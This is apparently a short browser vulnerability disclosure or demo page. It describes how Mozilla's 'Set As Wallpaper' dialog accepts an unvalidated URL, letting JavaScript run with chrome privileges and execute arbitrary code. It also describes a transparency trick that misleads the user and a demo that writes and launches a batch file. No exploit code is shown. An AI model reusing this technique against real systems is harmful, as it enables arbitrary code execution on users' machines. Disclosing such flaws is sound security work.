The "Set As Wallpaper" dialog takes the image url as a parameter without validating it.
This allows to execute javascript in chrome and to run arbitrary code.
<br><br>
By using absolute positioning and the moz-opacity filter an attacker can easily fool the
user to think he is setting a valid image as wallpaper.
<br><br>
Right click on the image and choose "Set As Wallpaper". The demo requests
UniversalXPConnect rights, creates c:\booom.bat and launches the batch file
that shows a directoy listing in a dos box (Windows only).
